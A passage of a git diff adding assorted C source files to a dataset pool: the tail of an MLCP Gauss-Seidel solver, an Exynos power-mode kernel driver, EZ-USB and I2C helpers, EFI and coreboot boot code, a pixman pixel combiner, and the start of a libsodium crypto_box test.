+  diagB = (double*)malloc(m * sizeof(double));
+
+  incy = 1;
+
+  /* Preparation of the diagonal of the inverse matrix */
+
+  for(i = 0 ; i < n ; ++i)
+  {
+    if(A[i * n + i] < -EPSDIAG)
+    {
+
+      numerics_printf_verbose(1," Vanishing diagonal term A[%i,%i]= %14.8e", i, i,  A[i * n + i] );
+      numerics_printf_verbose(1," The local problem cannot be solved");
+
+      *info = 2;
+      free(diagA);
+      free(diagB);
+
+      return;
+    }
+    else
+    {
+      diagA[i] = 1.0 / (A[i * n + i] + rho);
+
+    }
+  }
+  for(i = 0 ; i < m ; ++i)
+  {
+    if(B[i * m + i] < -EPSDIAG)
+    {
+
+      numerics_printf_verbose(1," Vanishing diagonal term \n");
+      numerics_printf_verbose(1," The local problem cannot be solved \n");
+
+      *info = 2;
+      free(diagA);
+      free(diagB);
+
+      return;
+    }
+    else
+    {
+      diagB[i] = 1.0 / (B[i * m + i] + rho);
+
+    }
+  }
+  /*start iterations*/
+
+  iter = 0;
+  err  = 1.;
+
+  incy = 1;
+  incAx = n;
+  incBx = m;
+
+  mlcp_compute_error(problem, z, w, tol, &err);
+  //printf("Error = %12.8e\n", err);
+
+  while((iter < itermax) && (err > tol))
+  {
+
+    ++iter;
+    incy = 1;
+
+
+    for(i = 0 ; i < n ; ++i)
+    {
+      uiprev = u[i];
+      u[i] = 0.0;
+      //zi = -( q[i] + cblas_ddot( n , &vec[i] , 1 , z , incy ))*diag[i];
+      //u[i] = -( a[i]  - (rho*uiprev) +cblas_ddot( n , &A[i] , n , u , 1 )   + cblas_ddot( m , &C[i] , n , v , 1 )         )*diagA[i];
+      u[i] = -(a[i]   - (rho * uiprev) + cblas_ddot(n, &A[i], incAx, u, incy)   + cblas_ddot(m, &C[i], incAx, v, incy)) * diagA[i];
+    }
+
+    for(i = 0 ; i < m ; ++i)
+    {
+      viprev = v[i];
+      v[i] = 0.0;
+      //zi = -( q[i] + cblas_ddot( n , &vec[i] , 1, z , incy ))*diag[i];
+      //v[i] = -( b[i] -(rho*viprev) + cblas_ddot( n , &D[i] , m , u , 1 )   + cblas_ddot( m , &B[i] , m , v , 1 )         )*diagB[i];
+      vi = -(b[i] - (rho * viprev) + cblas_ddot(n, &D[i], incBx, u, incy)   + cblas_ddot(m, &B[i], incBx, v, incy)) * diagB[i];
+      if(vi > 0)
+        v[i] = vi;
+    }
+
+
+
+    /* **** Criterium convergence compliant with filter_result_MLCP **** */
+    mlcp_compute_error(problem, z, w, tol, &err);
+    numerics_printf_verbose(1,"---- MLCP - RPGS  - Iteration %i rho = %8.4e, residual = %14.7e, tol = %14.7e", rho, iter, err, tol);
+
+    if(verbose == 2)
+    {
+      for(i = 0 ; i < n ; ++i) printf(" %g", u[i]);
+      for(i = 0 ; i < m ; ++i) printf(" %g", v[i]);
+      for(i = 0 ; i < m ; ++i) printf(" %g", w[i]);
+      printf("\n");
+    }
+
+    /* **** ********************* **** */
+
+  }
+  options->iparam[SICONOS_IPARAM_ITER_DONE] = iter;
+  options->dparam[SICONOS_DPARAM_RESIDU] = err;
+
+  if(err > tol)
+  {
+    numerics_printf_verbose(1,"---- MLCP - RPGS  - No convergence after %d iterations with error = %14.7e ", iter, err);
+    *info = 1;
+  }
+  else
+  {
+    numerics_printf_verbose(1,"---- MLCP - RPGS  - Convergence after %d iterations with error = %14.7e ", iter, err);
+    *info = 0;
+  }
+  free(diagA);
+  free(diagB);
+  return;
+}
+
+void mlcp_rpgs_set_default(SolverOptions* options)
+{
+  options->iparam[SICONOS_IPARAM_MAX_ITER]  = 50000;
+  options->dparam[SICONOS_DPARAM_MLCP_RHO] = 1.0; /*rho*/
+  options->filterOn = false;
+}
+
diff --git a/pool/shard001/C/0022667_exynos-power-mode.c b/pool/shard001/C/0022667_exynos-power-mode.c
new file mode 100644
index 0000000000000000000000000000000000000000..ba9fe45023aca63c0788951efc0705b93b4eadb8
--- /dev/null
+++ b/pool/shard001/C/0022667_exynos-power-mode.c
@@ -0,0 +1,174 @@
+/*
+ * Copyright (c) 2012 Samsung Electronics Co., Ltd.
+ *		http://www.samsung.com
+ *
+ * Power mode for user space
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License version 2 as
+ * published by the Free Software Foundation.
+ */
+
+#include <linux/kernel.h>
+#include <linux/init.h>
+#include <linux/pm_qos.h>
+#include <linux/module.h>
+#include <linux/err.h>
+#include <linux/cpu.h>
+
+#define POWER_MODE_LEN	(16)
+
+struct exynos_power_info {
+	char		*mode_name;
+	unsigned int	cpu_freq_lock;
+	unsigned int	mif_freq_lock;
+	unsigned int	int_freq_lock;
+	bool		cpu_online_core0;
+	bool		cpu_online_core1;
+	bool		cpu_online_core2;
+	bool		cpu_online_core3;
+};
+
+enum exynos_power_mode_idx {
+	INIT_POWER_MODE,
+	POWER_MODE_0,
+	POWER_MODE_1,
+	POWER_MODE_2,
+	POWER_MODE_END,
+};
+
+/* Power mode setting information */
+struct exynos_power_info exynos_power_mode[POWER_MODE_END] = {
+/* cpu_lock, mif_lock, int_lock, cpu0_online, cpu1_online, cpu2_online, cpu3_online */
+	{ "init",	0,	0,	0, 1, 1, 1, 1 },
+	{ "quad", 1600000, 800000, 400000, 1, 1, 1, 1 },
+	{ "quad_io", 1800000, 800000, 400000, 1, 1, 0, 0 },
+	{ "quad_mem", 1800000, 800000, 400000, 1, 1, 0, 0 },
+};
+
+/* Information for PM_QOS */
+static struct pm_qos_request exynos_qos_cpu;
+static struct pm_qos_request exynos_qos_int;
+static struct pm_qos_request exynos_qos_mif;
+
+static struct class *exynos_power_mode_class;
+static struct device *exynos_power_mode_dev;
+
+static struct exynos_power_info *cur_power_mode;
+
+static ssize_t exynos_power_show(struct device *dev, struct device_attribute *attr,
+			     char *buf)
+{
+	return snprintf(buf, POWER_MODE_LEN, "%s\n", cur_power_mode->mode_name);
+}
+
+static unsigned int exynos_get_power_mode(char *target_mode, unsigned int *cpu_lock,
+				unsigned int *int_lock, unsigned int *mif_lock, unsigned int *cpu_hotplug_mask)
+{
+	unsigned int i;
+
+	for (i = INIT_POWER_MODE; i < POWER_MODE_END; i++) {
+		if (!strnicmp(exynos_power_mode[i].mode_name, target_mode, POWER_MODE_LEN)) {
+			goto set_power_mode_info;
+		}
+	}
+
+	return -EINVAL;
+set_power_mode_info:
+	cur_power_mode = &exynos_power_mode[i];
+
+	*cpu_lock = exynos_power_mode[i].cpu_freq_lock;
+	*int_lock = exynos_power_mode[i].int_freq_lock;
+	*mif_lock = exynos_power_mode[i].mif_freq_lock;
+
+	*cpu_hotplug_mask = ((exynos_power_mode[i].cpu_online_core0 << 0) |
+			     (exynos_power_mode[i].cpu_online_core1 << 1) |
+			     (exynos_power_mode[i].cpu_online_core2 << 2) |
+			     (exynos_power_mode[i].cpu_online_core3 << 3));
+
+	return 0;
+}
+
+static ssize_t exynos_power_store(struct device *dev, struct device_attribute *attr,
+			      const char *buf, size_t count)
+{
+	char str_power_mode[POWER_MODE_LEN];
+	int ret;
+	unsigned int cpu_lock, int_lock, mif_lock, cpu_hotplug_mask;
+	unsigned int i;
+
+	ret = sscanf(buf, "%15s", str_power_mode);
+	if (ret != 1)
+		return -EINVAL;
+
+	if (exynos_get_power_mode(str_power_mode, &cpu_lock, &int_lock, &mif_lock, &cpu_hotplug_mask)) {
+		pr_err("%s Can not get power mode", __func__);
+		return ret;
+	}
+
+	/* Hotplug in or out for per cpu */
+	for (i = 0; i < num_possible_cpus(); i++) {
+		if (cpu_online(i) != ((cpu_hotplug_mask >> i) & 0x1)) {
+			if ((cpu_hotplug_mask >> i) & 0x1)
+				cpu_up(i);
+			else
+				cpu_down(i);
+		}
+	}
+
+	/* Update PM_QOS */
+	pm_qos_update_request(&exynos_qos_cpu, cpu_lock);
+	pm_qos_update_request(&exynos_qos_int, int_lock);
+	pm_qos_update_request(&exynos_qos_mif, mif_lock);
+
+	return count;
+}
+
+static DEVICE_ATTR(cur_power_mode, S_IRUGO | S_IWUSR, exynos_power_show, exynos_power_store);
+
+static int __init exynos_power_mode_init(void)
+{
+	unsigned int i;
+
+	exynos_power_mode_class = class_create(THIS_MODULE, "exynos_power");
+
+	if (IS_ERR(exynos_power_mode_class)) {
+		pr_err("%s: couldn't create class\n", __FILE__);
+		return PTR_ERR(exynos_power_mode_class);
+	}
+
+	exynos_power_mode_dev = device_create(exynos_power_mode_class, NULL, 0, NULL, "exynos_power_mode");
+	if (IS_ERR(exynos_power_mode_dev)) {
+		pr_err("%s: couldn't create device\n", __FILE__);
+		return PTR_ERR(exynos_power_mode_dev);
+	}
+
+	device_create_file(exynos_power_mode_dev, &dev_attr_cur_power_mode);
+
+	/* Setting init power mode info */
+	cur_power_mode = &exynos_power_mode[INIT_POWER_MODE];
+
+	/* setting QOS information */
+	pm_qos_add_request(&exynos_qos_cpu, PM_QOS_CPU_FREQ_MIN,
+			exynos_power_mode[INIT_POWER_MODE].cpu_freq_lock);
+
+	pm_qos_add_request(&exynos_qos_int, PM_QOS_DEVICE_THROUGHPUT,
+			exynos_power_mode[INIT_POWER_MODE].int_freq_lock);
+
+	pm_qos_add_request(&exynos_qos_mif, PM_QOS_BUS_THROUGHPUT,
+			exynos_power_mode[INIT_POWER_MODE].mif_freq_lock);
+
+	pr_info("Exynos Power mode List");
+	pr_info("NAME\tCPU\tMIF\tINT\tCPU0\tCPU1\tCPU2\tCPU3\n");
+	/* Show Exynos Power mode list */
+	for (i = 0; i < POWER_MODE_END; i++ ) {
+		pr_info("%s\t%d\t%d\t%d\t%d\t%d\t%d\t%d\n", exynos_power_mode[i].mode_name,
+			exynos_power_mode[i].cpu_freq_lock, exynos_power_mode[i].mif_freq_lock,
+			exynos_power_mode[i].int_freq_lock, exynos_power_mode[i].cpu_online_core0,
+			exynos_power_mode[i].cpu_online_core1, exynos_power_mode[i].cpu_online_core2,
+			exynos_power_mode[i].cpu_online_core3);
+	}
+
+	return 0;
+}
+subsys_initcall(exynos_power_mode_init);
diff --git a/pool/shard001/C/0022676_ezusb.c b/pool/shard001/C/0022676_ezusb.c
new file mode 100644
index 0000000000000000000000000000000000000000..841db90b61291722d774c0c837b5a2447600b1ad
--- /dev/null
+++ b/pool/shard001/C/0022676_ezusb.c
@@ -0,0 +1,53 @@
+
+
+#include <linux/kernel.h>
+#include <linux/errno.h>
+#include <linux/init.h>
+#include <linux/slab.h>
+#include <linux/tty.h>
+#include <linux/module.h>
+#include <linux/usb.h>
+#include <linux/usb/serial.h>
+
+/* EZ-USB Control and Status Register.  Bit 0 controls 8051 reset */
+#define CPUCS_REG    0x7F92
+
+int ezusb_writememory(struct usb_serial *serial, int address,
+				unsigned char *data, int length, __u8 request)
+{
+	int result;
+	unsigned char *transfer_buffer;
+
+	/* dbg("ezusb_writememory %x, %d", address, length); */
+	if (!serial->dev) {
+		printk(KERN_ERR "ezusb: %s - no physical device present, "
+		       "failing.\n", __func__);
+		return -ENODEV;
+	}
+
+	transfer_buffer = kmemdup(data, length, GFP_KERNEL);
+	if (!transfer_buffer) {
+		dev_err(&serial->dev->dev, "%s - kmalloc(%d) failed.\n",
+							__func__, length);
+		return -ENOMEM;
+	}
+	result = usb_control_msg(serial->dev, usb_sndctrlpipe(serial->dev, 0),
+		     request, 0x40, address, 0, transfer_buffer, length, 3000);
+	kfree(transfer_buffer);
+	return result;
+}
+EXPORT_SYMBOL_GPL(ezusb_writememory);
+
+int ezusb_set_reset(struct usb_serial *serial, unsigned char reset_bit)
+{
+	int response;
+
+	/* dbg("%s - %d", __func__, reset_bit); */
+	response = ezusb_writememory(serial, CPUCS_REG, &reset_bit, 1, 0xa0);
+	if (response < 0)
+		dev_err(&serial->dev->dev, "%s- %d failed\n",
+						__func__, reset_bit);
+	return response;
+}
+EXPORT_SYMBOL_GPL(ezusb_set_reset);
+
diff --git a/pool/shard001/C/0022685_i2c.c b/pool/shard001/C/0022685_i2c.c
new file mode 100644
index 0000000000000000000000000000000000000000..0ed2df06fcf5f251fdebb8384feb94a78d95beb8
--- /dev/null
+++ b/pool/shard001/C/0022685_i2c.c
@@ -0,0 +1,108 @@
+#include "asm.h"
+#include "i2c.h"
+
+/* I2C bit banging */
+int i2c_init(I2C *i2c)
+{
+	unsigned int timeout;
+
+	i2c->started = 0;
+	i2c->w_write(I2C_SCL);
+	/* Check the I2C bus is ready */
+	timeout = 1000;
+	while((timeout > 0) && (!(i2c->r_read() & I2C_SDAIN))) timeout--;
+
+	return timeout;
+}
+
+void i2c_delay(void)
+{
+	unsigned int i;
+
+	for(i=0;i<1000;i++) NOP;
+}
+
+/* I2C bit-banging functions from http://en.wikipedia.org/wiki/I2c */
+unsigned int i2c_read_bit(I2C *i2c)
+{
+	unsigned int bit;
+
+	/* Let the slave drive data */
+	i2c->w_write(0);
+	i2c_delay();
+	i2c->w_write(I2C_SCL);
+	i2c_delay();
+	bit = i2c->r_read() & I2C_SDAIN;
+	i2c_delay();
+	i2c->w_write(0);
+	return bit;
+}
+
+void i2c_write_bit(I2C *i2c, unsigned int bit)
+{
+	if(bit) {
+		i2c->w_write(I2C_SDAOE | I2C_SDAOUT);
+	} else {
+		i2c->w_write(I2C_SDAOE);
+	}
+	i2c_delay();
+	/* Clock stretching */
+	i2c->w_write(i2c->w_read() | I2C_SCL);
+	i2c_delay();
+	i2c->w_write(i2c->w_read() & ~I2C_SCL);
+}
+
+void i2c_start_cond(I2C *i2c)
+{
+	if(i2c->started) {
+		/* set SDA to 1 */
+		i2c->w_write(I2C_SDAOE | I2C_SDAOUT);
+		i2c_delay();
+		i2c->w_write(i2c->w_read() | I2C_SCL);
+		i2c_delay();
+	}
+	/* SCL is high, set SDA from 1 to 0 */
+	i2c->w_write(I2C_SDAOE|I2C_SCL);
+	i2c_delay();
+	i2c->w_write(I2C_SDAOE);
+	i2c->started = 1;
+}
+
+void i2c_stop_cond(I2C *i2c)
+{
+	/* set SDA to 0 */
+	i2c->w_write(I2C_SDAOE);
+	i2c_delay();
+	/* Clock stretching */
+	i2c->w_write(I2C_SDAOE | I2C_SCL);
+	/* SCL is high, set SDA from 0 to 1 */
+	i2c->w_write(I2C_SCL);
+	i2c_delay();
+	i2c->started = 0;
+}
+
+unsigned int i2c_write(I2C *i2c, unsigned char byte)
+{
+	unsigned int bit;
+	unsigned int ack;
+
+	for(bit = 0; bit < 8; bit++) {
+		i2c_write_bit(i2c, byte & 0x80);
+		byte <<= 1;
+	}
+	ack = !i2c_read_bit(i2c);
+	return ack;
+}
+
+unsigned char i2c_read(I2C *i2c, int ack)
+{
+	unsigned char byte = 0;
+	unsigned int bit;
+
+	for(bit = 0; bit < 8; bit++) {
+		byte <<= 1;
+		byte |= i2c_read_bit(i2c);
+	}
+	i2c_write_bit(i2c, !ack);
+	return byte;
+}
diff --git a/pool/shard001/C/0022686_efi_32.c b/pool/shard001/C/0022686_efi_32.c
new file mode 100644
index 0000000000000000000000000000000000000000..833fcfded258ad0fdb116b3426e49e1a85ab1124
--- /dev/null
+++ b/pool/shard001/C/0022686_efi_32.c
@@ -0,0 +1,77 @@
+/*
+ * Extensible Firmware Interface
+ *
+ * Based on Extensible Firmware Interface Specification version 1.0
+ *
+ * Copyright (C) 1999 VA Linux Systems
+ * Copyright (C) 1999 Walt Drummond <drummond@valinux.com>
+ * Copyright (C) 1999-2002 Hewlett-Packard Co.
+ *	David Mosberger-Tang <davidm@hpl.hp.com>
+ *	Stephane Eranian <eranian@hpl.hp.com>
+ *
+ * All EFI Runtime Services are not implemented yet as EFI only
+ * supports physical mode addressing on SoftSDV. This is to be fixed
+ * in a future version.  --drummond 1999-07-20
+ *
+ * Implemented EFI runtime services and virtual mode calls.  --davidm
+ *
+ * Goutham Rao: <goutham.rao@intel.com>
+ *	Skip non-WB memory and ignore empty memory ranges.
+ */
+
+#include <linux/kernel.h>
+#include <linux/types.h>
+#include <linux/ioport.h>
+#include <linux/efi.h>
+
+#include <asm/io.h>
+#include <asm/desc.h>
+#include <asm/page.h>
+#include <asm/pgtable.h>
+#include <asm/tlbflush.h>
+#include <asm/efi.h>
+
+/*
+ * To make EFI call EFI runtime service in physical addressing mode we need
+ * prolog/epilog before/after the invocation to claim the EFI runtime service
+ * handler exclusively and to duplicate a memory mapping in low memory space,
+ * say 0 - 3G.
+ */
+
+void efi_sync_low_kernel_mappings(void) {}
+void efi_setup_page_tables(void) {}
+
+void __init efi_map_region(efi_memory_desc_t *md)
+{
+	old_map_region(md);
+}
+
+void efi_call_phys_prelog(void)
+{
+	struct desc_ptr gdt_descr;
+
+	load_cr3(initial_page_table);
+	__flush_tlb_all();
+
+	gdt_descr.address = __pa(get_cpu_gdt_table(0));
+	gdt_descr.size = GDT_SIZE - 1;
+	load_gdt(&gdt_descr);
+}
+
+void efi_call_phys_epilog(void)
+{
+	struct desc_ptr gdt_descr;
+
+	gdt_descr.address = (unsigned long)get_cpu_gdt_table(0);
+	gdt_descr.size = GDT_SIZE - 1;
+	load_gdt(&gdt_descr);
+
+	load_cr3(swapper_pg_dir);
+	__flush_tlb_all();
+}
+
+void __init efi_runtime_mkexec(void)
+{
+	if (__supported_pte_mask & _PAGE_NX)
+		runtime_code_page_mkexec();
+}
diff --git a/pool/shard001/C/0022689_romstage.c b/pool/shard001/C/0022689_romstage.c
new file mode 100644
index 0000000000000000000000000000000000000000..1c49d35e9f588ecb193ae48011e20f2cf7c475ba
--- /dev/null
+++ b/pool/shard001/C/0022689_romstage.c
@@ -0,0 +1,176 @@
+/*
+ * This file is part of the coreboot project.
+ *
+ * Copyright (C) 2012 The ChromiumOS Authors.  All rights reserved.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; version 2 of the License.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+#include <types.h>
+
+#include <armv7.h>
+#include <cbfs.h>
+#include <cbmem.h>
+
+#include <arch/cache.h>
+#include <cpu/samsung/exynos5250/i2c.h>
+#include <cpu/samsung/exynos5250/clk.h>
+#include <cpu/samsung/exynos5250/cpu.h>
+#include <cpu/samsung/exynos5250/dmc.h>
+#include <cpu/samsung/exynos5250/gpio.h>
+#include <cpu/samsung/exynos5250/setup.h>
+#include <cpu/samsung/exynos5250/periph.h>
+#include <cpu/samsung/exynos5250/power.h>
+#include <cpu/samsung/exynos5250/trustzone.h>
+#include <cpu/samsung/exynos5250/wakeup.h>
+#include <console/console.h>
+#include <arch/stages.h>
+
+#include <drivers/maxim/max77686/max77686.h>
+#include <device/i2c.h>
+
+#include "exynos5250.h"
+
+#define PMIC_BUS	0
+
+static void setup_power(int is_resume)
+{
+	int error = 0;
+
+	power_init();
+
+	if (is_resume) {
+		return;
+	}
+
+	/* Initialize I2C bus to configure PMIC. */
+	exynos_pinmux_i2c0();
+	i2c_init(0, I2C_0_SPEED, 0x00);
+
+	printk(BIOS_DEBUG, "%s: Setting up PMIC...\n", __func__);
+	/*
+	 * We're using CR1616 coin cell battery that is non-rechargeable
+	 * battery. But, BBCHOSTEN bit of the BBAT Charger Register in
+	 * MAX77686 is enabled by default for charging coin cell.
+	 *
+	 * Also, we cannot meet the coin cell reverse current spec. in UL
+	 * standard if BBCHOSTEN bit is enabled.
+	 *
+	 * Disable Coin BATT Charging
+	 */
+	error = max77686_disable_backup_batt(PMIC_BUS);
+
+	error |= max77686_volsetting(PMIC_BUS, PMIC_BUCK2, VDD_ARM_MV,
+						REG_ENABLE, MAX77686_MV);
+	error |= max77686_volsetting(PMIC_BUS, PMIC_BUCK3, VDD_INT_UV,
+						REG_ENABLE, MAX77686_UV);
+	error |= max77686_volsetting(PMIC_BUS, PMIC_BUCK1, VDD_MIF_MV,
+						REG_ENABLE, MAX77686_MV);
+	error |= max77686_volsetting(PMIC_BUS, PMIC_BUCK4, VDD_G3D_MV,
+						REG_ENABLE, MAX77686_MV);
+	error |= max77686_volsetting(PMIC_BUS, PMIC_LDO2, VDD_LDO2_MV,
+						REG_ENABLE, MAX77686_MV);
+	error |= max77686_volsetting(PMIC_BUS, PMIC_LDO3, VDD_LDO3_MV,
+						REG_ENABLE, MAX77686_MV);
+	error |= max77686_volsetting(PMIC_BUS, PMIC_LDO5, VDD_LDO5_MV,
+						REG_ENABLE, MAX77686_MV);
+	error |= max77686_volsetting(PMIC_BUS, PMIC_LDO10, VDD_LDO10_MV,
+						REG_ENABLE, MAX77686_MV);
+
+	error |= max77686_enable_32khz_cp(PMIC_BUS);
+
+	if (error) {
+		printk(BIOS_CRIT, "%s: PMIC error: %#x\n", __func__, error);
+		die("Failed to intialize PMIC.\n");
+	}
+}
+
+static void setup_graphics(void)
+{
+	exynos_pinmux_dphpd();
+}
+
+static void setup_gpio(void)
+{
+	gpio_direction_input(GPIO_D16); // WP_GPIO
+	gpio_set_pull(GPIO_D16, GPIO_PULL_NONE);
+
+	gpio_direction_input(GPIO_Y10); // RECMODE_GPIO
+	gpio_set_pull(GPIO_Y10, GPIO_PULL_NONE);
+
+	gpio_direction_input(GPIO_X35); // LID_GPIO
+	gpio_set_pull(GPIO_X35, GPIO_PULL_NONE);
+
+	gpio_direction_input(GPIO_X13); // POWER_GPIO
+	gpio_set_pull(GPIO_X13, GPIO_PULL_NONE);
+}
+
+static void setup_memory(struct mem_timings *mem, int is_resume)
+{
+	printk(BIOS_SPEW, "man: 0x%x type: 0x%x, div: 0x%x, mhz: %d\n",
+	       mem->mem_manuf,
+	       mem->mem_type,
+	       mem->mpll_mdiv,
+	       mem->frequency_mhz);
+
+	if (ddr3_mem_ctrl_init(mem, DMC_INTERLEAVE_SIZE, !is_resume)) {
+		die("Failed to initialize memory controller.\n");
+	}
+}
+
+static struct mem_timings *setup_clock(void)
+{
+	struct mem_timings *mem = get_mem_timings();
+	struct arm_clk_ratios *arm_ratios = get_arm_clk_ratios();
+	if (!mem) {
+		die("Unable to auto-detect memory timings\n");
+	}
+	system_clock_init(mem, arm_ratios);
+	return mem;
+}
+
+void main(void)
+{
+	struct mem_timings *mem;
+	void *entry;
+	int is_resume = (get_wakeup_state() != IS_NOT_WAKEUP);
+
+	/* Clock must be initialized before console_init, otherwise you may need
+	 * to re-initialize serial console drivers again. */
+	mem = setup_clock();
+
+	console_init();
+
+	setup_power(is_resume);
+	setup_memory(mem, is_resume);
+
+	/* This needs to happen on normal boots and on resume. */
+	trustzone_init();
+
+	if (is_resume) {
+		wakeup();
+	}
+
+	setup_gpio();
+	setup_graphics();
+
+	/* Set SPI (primary CBFS media) clock to 50MHz and configure pinmux. */
+	exynos_pinmux_spi1();
+	clock_set_rate(PERIPH_ID_SPI1, 50000000);
+
+	cbmem_initialize_empty();
+
+	entry = cbfs_load_stage(CBFS_DEFAULT_MEDIA, "fallback/ramstage");
+	stage_exit(entry);
+}
diff --git a/pool/shard001/C/0022692_pixman-combine16.c b/pool/shard001/C/0022692_pixman-combine16.c
new file mode 100644
index 0000000000000000000000000000000000000000..9ba439fe5bc63bf314933b63478e7d957b1eac83
--- /dev/null
+++ b/pool/shard001/C/0022692_pixman-combine16.c
@@ -0,0 +1,114 @@
+#ifdef HAVE_CONFIG_H
+#include <config.h>
+#endif
+
+#include <math.h>
+#include <string.h>
+
+#include "pixman-private.h"
+
+#include "pixman-combine32.h"
+
+static force_inline uint32_t
+combine_mask (const uint32_t src, const uint32_t mask)
+{
+    uint32_t s, m;
+
+    m = mask >> A_SHIFT;
+
+    if (!m)
+	return 0;
+    s = src;
+
+    UN8x4_MUL_UN8 (s, m);
+
+    return s;
+}
+
+static void
+combine_src_u (pixman_implementation_t *imp,
+               pixman_op_t              op,
+               uint32_t *               dest,
+               const uint32_t *         src,
+               const uint32_t *         mask,
+               int                      width)
+{
+    int i;
+
+    if (!mask)
+	memcpy (dest, src, width * sizeof (uint16_t));
+    else
+    {
+	uint16_t *d = (uint16_t*)dest;
+	uint16_t *src16 = (uint16_t*)src;
+	for (i = 0; i < width; ++i)
+	{
+	    if ((*mask & 0xff000000) == 0xff000000) {
+		// it's likely worth special casing
+		// fully opaque because it avoids
+		// the cost of conversion as well the multiplication
+		*(d + i) = *src16;
+	    } else {
+		// the mask is still 32bits
+		uint32_t s = combine_mask (convert_0565_to_8888(*src16), *mask);
+		*(d + i) = convert_8888_to_0565(s);
+	    }
+	    mask++;
+	    src16++;
+	}
+    }
+
+}
+
+static void
+combine_over_u (pixman_implementation_t *imp,
+               pixman_op_t              op,
+               uint32_t *                dest,
+               const uint32_t *          src,
+               const uint32_t *          mask,
+               int                      width)
+{
+    int i;
+
+    if (!mask)
+	memcpy (dest, src, width * sizeof (uint16_t));
+    else
+    {
+	uint16_t *d = (uint16_t*)dest;
+	uint16_t *src16 = (uint16_t*)src;
+	for (i = 0; i < width; ++i)
+	{
+	    if ((*mask & 0xff000000) == 0xff000000) {
+		// it's likely worth special casing
+		// fully opaque because it avoids
+		// the cost of conversion as well the multiplication
+		*(d + i) = *src16;
+	    } else if ((*mask & 0xff000000) == 0x00000000) {
+		// keep the dest the same
+	    } else {
+		// the mask is still 32bits
+		uint32_t s = combine_mask (convert_0565_to_8888(*src16), *mask);
+		uint32_t ia = ALPHA_8 (~s);
+		uint32_t d32 = convert_0565_to_8888(*(d + i));
+		UN8x4_MUL_UN8_ADD_UN8x4 (d32, ia, s);
+		*(d + i) = convert_8888_to_0565(d32);
+	    }
+	    mask++;
+	    src16++;
+	}
+    }
+
+}
+
+
+void
+_pixman_setup_combiner_functions_16 (pixman_implementation_t *imp)
+{
+    int i;
+    for (i = 0; i < PIXMAN_N_OPERATORS; i++) {
+	imp->combine_16[i] = NULL;
+    }
+    imp->combine_16[PIXMAN_OP_SRC] = combine_src_u;
+    imp->combine_16[PIXMAN_OP_OVER] = combine_over_u;
+}
+
diff --git a/pool/shard001/C/0022701_box.c b/pool/shard001/C/0022701_box.c
new file mode 100644
index 0000000000000000000000000000000000000000..f78acb678fe948959657d255d61eb2391e5698a0
--- /dev/null
+++ b/pool/shard001/C/0022701_box.c
@@ -0,0 +1,92 @@
+
+#define TEST_NAME "box"
+#include "cmptest.h"
+
+static unsigned char alicesk[32]
+    = { 0x77, 0x07, 0x6d, 0x0a, 0x73, 0x18, 0xa5, 0x7d, 0x3c, 0x16, 0xc1,
+        0x72, 0x51, 0xb2, 0x66, 0x45, 0xdf, 0x4c, 0x2f, 0x87, 0xeb, 0xc0,
+        0x99, 0x2a, 0xb1, 0x77, 0xfb, 0xa5, 0x1d, 0xb9, 0x2c, 0x2a };
+
+static unsigned char bobpk[32]
+    = { 0xde, 0x9e, 0xdb, 0x7d, 0x7b, 0x7d, 0xc1, 0xb4, 0xd3, 0x5b, 0x61,
+        0xc2, 0xec, 0xe4, 0x35, 0x37, 0x3f, 0x83, 0x43, 0xc8, 0x5b, 0x78,
+        0x67, 0x4d, 0xad, 0xfc, 0x7e, 0x14, 0x6f, 0x88, 0x2b, 0x4f };
+
+static unsigned char nonce[24]
+    = { 0x69, 0x69, 0x6e, 0xe9, 0x55, 0xb6, 0x2b, 0x73,
+        0xcd, 0x62, 0xbd, 0xa8, 0x75, 0xfc, 0x73, 0xd6,
+        0x82, 0x19, 0xe0, 0x03, 0x6b, 0x7a, 0x0b, 0x37 };
+
+// API requires first 32 bytes to be 0
+static unsigned char m[163]
+    = { 0,    0,    0,    0,    0,    0,    0,    0,    0,    0,    0,    0,
+        0,    0,    0,    0,    0,    0,    0,    0,    0,    0,    0,    0,
+        0,    0,    0,    0,    0,    0,    0,    0,    0xbe, 0x07, 0x5f, 0xc5,
+        0x3c, 0x81, 0xf2, 0xd5, 0xcf, 0x14, 0x13, 0x16, 0xeb, 0xeb, 0x0c, 0x7b,
+        0x52, 0x28, 0xc5, 0x2a, 0x4c, 0x62, 0xcb, 0xd4, 0x4b, 0x66, 0x84, 0x9b,
+        0x64, 0x24, 0x4f, 0xfc, 0xe5, 0xec, 0xba, 0xaf, 0x33, 0xbd, 0x75, 0x1a,
+        0x1a, 0xc7, 0x28, 0xd4, 0x5e, 0x6c, 0x61, 0x29, 0x6c, 0xdc, 0x3c, 0x01,
+        0x23, 0x35, 0x61, 0xf4, 0x1d, 0xb6, 0x6c, 0xce, 0x31, 0x4a, 0xdb, 0x31,
+        0x0e, 0x3b, 0xe8, 0x25, 0x0c, 0x46, 0xf0, 0x6d, 0xce, 0xea, 0x3a, 0x7f,
+        0xa1, 0x34, 0x80, 0x57, 0xe2, 0xf6, 0x55, 0x6a, 0xd6, 0xb1, 0x31, 0x8a,
+        0x02, 0x4a, 0x83, 0x8f, 0x21, 0xaf, 0x1f, 0xde, 0x04, 0x89, 0x77, 0xeb,
+        0x48, 0xf5, 0x9f, 0xfd, 0x49, 0x24, 0xca, 0x1c, 0x60, 0x90, 0x2e, 0x52,
+        0xf0, 0xa0, 0x89, 0xbc, 0x76, 0x89, 0x70, 0x40, 0xe0, 0x82, 0xf9, 0x37,
+        0x76, 0x38, 0x48, 0x64, 0x5e, 0x07, 0x05 };
+
+static unsigned char c[163];
+
+int main(void)
+{
+    unsigned char k[crypto_box_BEFORENMBYTES];
+    int i;
+    int ret;
+
+    ret = crypto_box(c, m, 163, nonce, bobpk, alicesk);
+    assert(ret == 0);
+    for (i = 16; i < 163; ++i) {
+        printf(",0x%02x", (unsigned int)c[i]);
+        if (i % 8 == 7)
+            printf("\n");
+    }
+    printf("\n");
+
+    memset(c, 0, sizeof c);
+    ret = crypto_box_beforenm(k, bobpk, alicesk);
